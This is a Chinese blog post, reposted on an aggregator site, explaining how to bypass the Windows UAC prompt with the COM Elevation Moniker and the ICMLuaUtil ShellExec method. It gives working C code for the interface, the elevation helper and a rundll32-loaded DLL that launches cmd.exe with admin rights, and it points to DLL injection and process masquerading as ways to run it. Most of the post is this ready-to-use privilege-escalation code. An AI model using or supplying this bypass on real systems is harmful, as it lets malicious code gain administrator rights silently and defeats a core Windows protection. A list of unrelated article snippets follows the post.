Win32绕过UAC弹窗获取管理员权限

news2024/9/25 19:25:17

在早些年写一些桌面软件时,需要管理员权限,但是又不想UAC弹窗,所以一般是直接将UAC的级别拉到最低,或者直接禁用UAC的相关功能。

什么是UAC(User Account Control)

用户帐户控制 (UAC) 是一项 Windows 安全功能,旨在保护操作系统免受未经授权的更改。 当对系统的更改需要管理员级权限时,UAC 会通知用户,从而让用户有机会批准或拒绝更改。 UAC 通过限制恶意代码拥有的以管理员权限执行的访问权限来提高 Windows 设备的安全性。 UAC 使用户能够就可能影响设备稳定性和安全性的操作做出明智的决策。

除非禁用 UAC,否则会阻止恶意软件禁用或干扰 UAC 设置。 UAC 默认处于启用状态,如果具有管理员权限,则可以对其进行配置。

关于UAC这里仅做简单介绍,可以在文末的参考资料里获取关于UAC的更详细的介绍。

绕过UAC弹窗目前流行的有几种方案,这里只介绍基于COM组件的

利用COM组件绕过UAC

原理

COM Elevation Moniker技术允许运行在用户账户控制下的应用提升权限的方法来激活COM类,以提升COM接口权限。

主要用到了ICMLuaUtil接口,它提供了一个ShellExec方法来执行命令,创建指定进程。

ICMLuaUtil接口定义如下:

  1 #include <Windows.h>
  2 #include <objbase.h>
  3 #include <strsafe.h>
  4 
  5 
  6 #define CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
  7 #define IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"
  8 
  9 
 10 typedef interface ICMLuaUtil ICMLuaUtil;
 11 
 12 typedef struct ICMLuaUtilVtbl {
 13 
 14     BEGIN_INTERFACE
 15 
 16         HRESULT(STDMETHODCALLTYPE *QueryInterface)(
 17         __RPC__in ICMLuaUtil * This,
 18         __RPC__in REFIID riid,
 19         _COM_Outptr_  void **ppvObject);
 20 
 21         ULONG(STDMETHODCALLTYPE *AddRef)(
 22             __RPC__in ICMLuaUtil * This);
 23 
 24         ULONG(STDMETHODCALLTYPE *Release)(
 25             __RPC__in ICMLuaUtil * This);
 26 
 27         HRESULT(STDMETHODCALLTYPE *Method1)(
 28             __RPC__in ICMLuaUtil * This);
 29 
 30         HRESULT(STDMETHODCALLTYPE *Method2)(
 31             __RPC__in ICMLuaUtil * This);
 32 
 33         HRESULT(STDMETHODCALLTYPE *Method3)(
 34             __RPC__in ICMLuaUtil * This);
 35 
 36         HRESULT(STDMETHODCALLTYPE *Method4)(
 37             __RPC__in ICMLuaUtil * This);
 38 
 39         HRESULT(STDMETHODCALLTYPE *Method5)(
 40             __RPC__in ICMLuaUtil * This);
 41 
 42         HRESULT(STDMETHODCALLTYPE *Method6)(
 43             __RPC__in ICMLuaUtil * This);
 44 
 45         HRESULT(STDMETHODCALLTYPE *ShellExec)(
 46             __RPC__in ICMLuaUtil * This,
 47             _In_     LPCWSTR lpFile,
 48             _In_opt_  LPCTSTR lpParameters,
 49             _In_opt_  LPCTSTR lpDirectory,
 50             _In_      ULONG fMask,
 51             _In_      ULONG nShow
 52             );
 53 
 54         HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)(
 55             __RPC__in ICMLuaUtil * This,
 56             _In_      HKEY hKey,
 57             _In_opt_  LPCTSTR lpSubKey,
 58             _In_opt_  LPCTSTR lpValueName,
 59             _In_      LPCTSTR lpValueString
 60             );
 61 
 62         HRESULT(STDMETHODCALLTYPE *Method9)(
 63             __RPC__in ICMLuaUtil * This);
 64 
 65         HRESULT(STDMETHODCALLTYPE *Method10)(
 66             __RPC__in ICMLuaUtil * This);
 67 
 68         HRESULT(STDMETHODCALLTYPE *Method11)(
 69             __RPC__in ICMLuaUtil * This);
 70 
 71         HRESULT(STDMETHODCALLTYPE *Method12)(
 72             __RPC__in ICMLuaUtil * This);
 73 
 74         HRESULT(STDMETHODCALLTYPE *Method13)(
 75             __RPC__in ICMLuaUtil * This);
 76 
 77         HRESULT(STDMETHODCALLTYPE *Method14)(
 78             __RPC__in ICMLuaUtil * This);
 79 
 80         HRESULT(STDMETHODCALLTYPE *Method15)(
 81             __RPC__in ICMLuaUtil * This);
 82 
 83         HRESULT(STDMETHODCALLTYPE *Method16)(
 84             __RPC__in ICMLuaUtil * This);
 85 
 86         HRESULT(STDMETHODCALLTYPE *Method17)(
 87             __RPC__in ICMLuaUtil * This);
 88 
 89         HRESULT(STDMETHODCALLTYPE *Method18)(
 90             __RPC__in ICMLuaUtil * This);
 91 
 92         HRESULT(STDMETHODCALLTYPE *Method19)(
 93             __RPC__in ICMLuaUtil * This);
 94 
 95         HRESULT(STDMETHODCALLTYPE *Method20)(
 96             __RPC__in ICMLuaUtil * This);
 97 
 98     END_INTERFACE
 99 
100 } *PICMLuaUtilVtbl;
101 
102 interface ICMLuaUtil
103 {
104     CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
105 };

使用权限提升COM类的程序必须通过调用CoCreateInstanceAsAdmin函数来创建COM类。

CoCreateInstanceAsAdmin参考代码如下:

 1 HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
 2 {
 3     BIND_OPTS3 bo;
 4     WCHAR wszCLSID[MAX_PATH] = { 0 };
 5     WCHAR wszMonikerName[MAX_PATH] = { 0 };
 6     HRESULT hr = 0;
 7 
 8     // 初始化COM环境
 9     ::CoInitialize(NULL);
10 
11     // 构造字符串
12     ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
13     hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
14     if (FAILED(hr))
15     {
16         return hr;
17     }
18 
19     // 设置BIND_OPTS3
20     ::RtlZeroMemory(&bo, sizeof(bo));
21     bo.cbStruct = sizeof(bo);
22     bo.hwnd = hWnd;
23     bo.dwClassContext = CLSCTX_LOCAL_SERVER;
24 
25     // 创建名称对象并获取COM对象
26     hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
27     return hr;
28 }

CoCreateInstanceAsAdmin函数的作用是创建并激活提升权限的COM类。

ICMLuaUtil接口通过上述方法创建后,再调用ShellExec方法来创建指定进程,可以绕过UAC。

调用ShellExec的方法如下:

 1 BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
 2 {
 3     HRESULT hr = 0;
 4     CLSID clsidICMLuaUtil = { 0 };
 5     IID iidICMLuaUtil = { 0 };
 6     ICMLuaUtil *CMLuaUtil = NULL;
 7     BOOL bRet = FALSE;
 8 
 9     
10     ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
11     ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
12 
13     // 提权
14     hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
15     if (FAILED(hr))
16     {
17         return FALSE;
18     }
19 
20     // 启动程序
21     hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
22     if (FAILED(hr))
23     {
24         return FALSE;
25     }
26 
27     bRet = TRUE;
28     
29 
30     // 释放
31     if (CMLuaUtil) 
32     {
33         CMLuaUtil->lpVtbl->Release(CMLuaUtil);
34     }
35 
36     return bRet;
37 }

到这一步我们就可以以提升过的权限执行对应 的程序 ,如果执行COM Elevation Moniker的程序身份是不可信的(未签名/签名不受信息/已过期等),则会触发UAC弹窗,如果是可信的,就不会触发UAC弹窗。

想要绕过UAC弹窗,就得想办法让上述代码在可信程序中运行。

可信程序包括但不限于calc.exe、notepad.exe、explorer.exe、rundll32.exe等。

可以通过以下几种方式让上述代码在可信任程序中运行:

1、DLL注入或劫持

2、进程伪装

3、通过rundll32.exe来加载DLL,执行COM Elevation Moniker代码

DLL注入可以查看我前面写的一篇文章:

https://www.cnblogs.com/zhaotianff/p/18070259

进程伪装可以查看文末的参考资料中的链接。

本文以rundll32.exe进行演示。利用rundll32.exe调用DLL中的导出函数,其中导出函数的声明如下:

1 void CALLBACK Func(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

我们可以创建一个DLL工程,创建一个导出函数,在导出函数中调用前面的代码,示例如下:

1 // 导出函数给rundll32.exe调用执行
2 void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
3 {
4     CMLuaUtilBypassUAC(L"C:\\Windows\\System32\\cmd.exe");
5 }

然后再通过cmd去执行rundll32.exe,或通过编程的方式

cmd

1 rundll32.exe "BypassUAC_Dll.dll" BypassUAC

cpp

 1 #include <iostream>
 2 #include<Windows.h>
 3 #include<tchar.h>
 4 
 5 void main()
 6 {
 7     TCHAR szCmdLine[MAX_PATH] = { 0 };
 8     TCHAR szRundll32Path[MAX_PATH] = L"C:\\Windows\\System32\\rundll32.exe";
 9     TCHAR szDllPath[MAX_PATH] = L"C:\\Users\\xi\\Desktop\\src\\BypassUACDemo\\Debug\\BypassUAC_DLL.dll";
10     wsprintf(szCmdLine, L"%s \"%s\" %s", szRundll32Path, szDllPath, L"BypassUAC");
11     STARTUPINFO si{};
12     si.cb = sizeof(STARTUPINFO);
13     PROCESS_INFORMATION pi{};
14     CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
15 }

运行效果:

示例代码

参考资料:

用户帐户控制工作原理

https://learn.microsoft.com/zh-cn/windows/security/application-security/application-control/user-account-control/how-it-works

Bypass UAC(用户账户控制)的几种方法探究及案例

https://www.freebuf.com/articles/network/332619.html

UACME

https://github.com/hfiref0x/UACME

BypassUAC

https://github.com/0xlane/BypassUAC

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2104756.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

行走挖机多路比例阀控制放大器

挖掘机比例多路阀是挖掘机液压系统中的关键部件&#xff0c;它负责控制挖掘机各执行元件的运动方向、速度和力矩&#xff0c;从而影响挖掘机的作业效果。比例多路阀由多个阀块组成&#xff0c;其中比例控制阀由BEUEC比例放大器控制。每个阀块都有特定功能&#xff0c;如换向阀用…

昇腾大模型性能分析思路

性能分析 模型训练优化流程 我们根据性能问题的场景&#xff0c;按照单机和集群场景进行分类&#xff0c;再明确性能问题属于哪一类&#xff0c;明确好性能问题背景之后&#xff0c;才方便进行下一步问题的定位&#xff1b; 在明确问题背景后&#xff0c;参考性能分析工具介绍…

004、架构_详解(重点)

GoldenDB 分布式数据库框架 DN和RDB增加了备节点;引入新模块CM,且GTM、MDS、PM、CM都增加备节点;MDS、PM、CM、RDB被统一在了管理节点之中;GTM和MDS间多了一条连线,因为GTM的切换由MDS把控;初步系统架构mysqld:一般称为DB节点,负责单个节点的数据处理; dbproxy:一般…

FreeRTOS学习笔记—③RTOS内存管理篇(正在更新中)

二、RTOS的核心功能 RTOS的核心功能块主要分为任务管理、内核管理、时间管理以及通信管理4部分&#xff0c;框架图如下所示&#xff1a; &#xff08;1&#xff09;任务管理&#xff1a;负责管理和调度任务的执行&#xff0c;确保系统中的任务能够按照预期运行。 &#xff08;…

【SpringBoot】使用Nacos服务注册发现与配置管理

前提&#xff1a;需要提前部署好nacos服务&#xff0c;这里可以参考我的文章&#xff1a;Windows下Nacos安装与配置 0. 版本信息 Spring Boot3.2.8Spring Cloud2023.0.1Spring Cloud alibaba2023.0.1.0nacos2.3.2本地安装的nacos2.3.0 Spring Boot、Spring Cloud、Spring Clo…

黑盒闪清 v2.9.9 体积小巧,简洁高效的手机清理神器

黑盒闪清APP是安卓手机上的一款优质文件管理器&#xff0c;拥有存储分析、文件分类、大文件扫描、空文件夹扫描等功能&#xff0c;应用无广告、无推送&#xff0c;完全免费使用&#xff0c;让你手机中的文件管理就跟在电脑上管理一样简单。 链接&#xff1a;https://pan.quark…

C语言学习笔记 Day16(文件管理--下)

Day16 内容梳理&#xff1a; C语言学习笔记 Day14&#xff08;文件管理--上&#xff09;-CSDN博客 C语言学习笔记 Day15&#xff08;文件管理--中&#xff09;-CSDN博客 目录 Chapter 10 文件操作 10.5 文件状态 10.6 文件的随机读写 fseek()、rewind() &#xff08;1&…

对同一文件夹下所有excel表进行相同操作(数据填充、删除、合并)

背景引入&#xff1a;如图所示&#xff0c;笔者需要对数十个表格的银行日记账工作簿合并成一个工作簿&#xff0c;以便与本月银行流水进行核对。 为了方便银行日记账与银行流水进行核对&#xff0c;需要再每个村或小组的表格中&#xff0c;将村或小组的名称放在J列。 clear c…

Java | Leetcode Java题解之第392题判断子序列

题目&#xff1a; 题解&#xff1a; class Solution {public boolean isSubsequence(String s, String t) {int n s.length(), m t.length();int[][] f new int[m 1][26];for (int i 0; i < 26; i) {f[m][i] m;}for (int i m - 1; i > 0; i--) {for (int j 0; j…

9月4日C++作业

#include <iostream> #include <string> using namespace std; class Human {private:string name;int age;public:Human(){} //无参构造函数//有参构造函数Human(string i_name,int i_age):name(i_name),age(i_age){cout<<"调用了Human有参构…

一篇文章讲清楚什么是Spring AOP

目录 1、什么是代理&#xff1f; 1.1静态代理 1.2动态代理 2、什么是AOP&#xff1f; 3、AOP术语名词介绍 4、Spring AOP框架使用教程 5、Spring AOP框架细节讲解 1、什么是代理&#xff1f; 在讲解AOP之前&#xff0c;我们要先了解下什么是代理。 代理是二十四种设计…

Flutter集成Firebase框架

本文档的插件版本 flutter&#xff1a;3.19.4dart版本&#xff1a;3.3.2 firebase_core&#xff1a;2.30.0 firebase&#xff1a;13.7.3flutterfire&#xff1a;1.0.0 前言 Flutter集成Firebase框架要完成以下内容 在Firebase网页端创建一个项目在终端全局安装Firebase工具&…

中断管理笔记

1、异常与中断的基本概念 异常是指任何打断处理器正常执行&#xff0c;并且迫使处理器进入一个由有特权的特殊指令执行的事件。 异常可以分为两类&#xff1a;同步异常和异步异常。 由内部事件&#xff08;像处理器指令运行产生的事件&#xff09;引起的异常称为同步异常。异…

雅思7分相当于六级多少?雅思考试怎么备考才能到7分?

雅思7分相当于六级多少&#xff1f;雅思考试怎么备考才能到7分? 六级500分也不能和雅思7分相提并论&#xff0c;毕竟两者压根不在一个层级。楼主两月自学雅思获得8分&#xff0c;系统总结了雅思速成的提分秘籍&#xff0c;跟着我的方法走&#xff0c;两月屠鸭7分问题不大。1.6…

你做的SEO为什么效果不够好?

SEO&#xff08;Search Engine Optimization&#xff09;即搜索引擎优化&#xff0c;指在不同的搜索引擎中&#xff0c;按照相应的规则与机制提高网站在特定的搜索引擎中的自然排名。作为对产品和服务进行数字宣传营销的重要手段&#xff0c;SEO已然成为各企业提高网站曝光和流…

AI生产力工具暑期迎来大爆发 极光数据:夸克新增用户规模领先

9月3日&#xff0c;极光旗下月狐数据发布《AI生产力工具暑期发展报告》。数据显示&#xff0c;AI生产力工具在用户侧呈现高速增长态势&#xff0c;总体月活跃用户数量达1.7亿。其中&#xff0c;夸克APP实现暑期新增用户数量行业第一&#xff0c;凭借大模型、数据、场景等优势&a…

Java中实现写Word文档

背景&#xff1a;通过java代码&#xff0c;往docx文档中写入标题和段落。 依赖的maven包&#xff1a; <dependency> <groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>5.2.2</version> </depend…

【技术前沿】智能反向寻车解决方案:提升停车场用户体验与运营效率

亲爱的技术员及停车场管理者们&#xff0c;您是否曾遇到过车主在庞大的停车场中迷失方向&#xff0c;耗费大量时间寻找爱车的困境&#xff1f;这不仅影响了车主的停车体验&#xff0c;也无形中增加了停车场的管理难度和运营成本。本文专为解决这一痛点而生&#xff0c;介绍最新…

油猴插件编写测试工具

参考&#xff1a;如何使用油猴插件提高测试工作效率 一、背景 在酷家乐设计工具测试中&#xff0c;总会有许多高频且较繁琐的工作&#xff0c;比如&#xff1a; 查询插件版本&#xff1a;需要打开Chrome控制台&#xff0c;输入好几个命令然后过滤出版本信息。 查询模型商品&…

调用Claude 3.5 API的实战代码

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于大模型算法的研究与应用。曾担任百度千帆大模型比赛、BPAA算法大赛评委,编写微软OpenAI考试认证指导手册。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。授权多项发明专利。对机器学…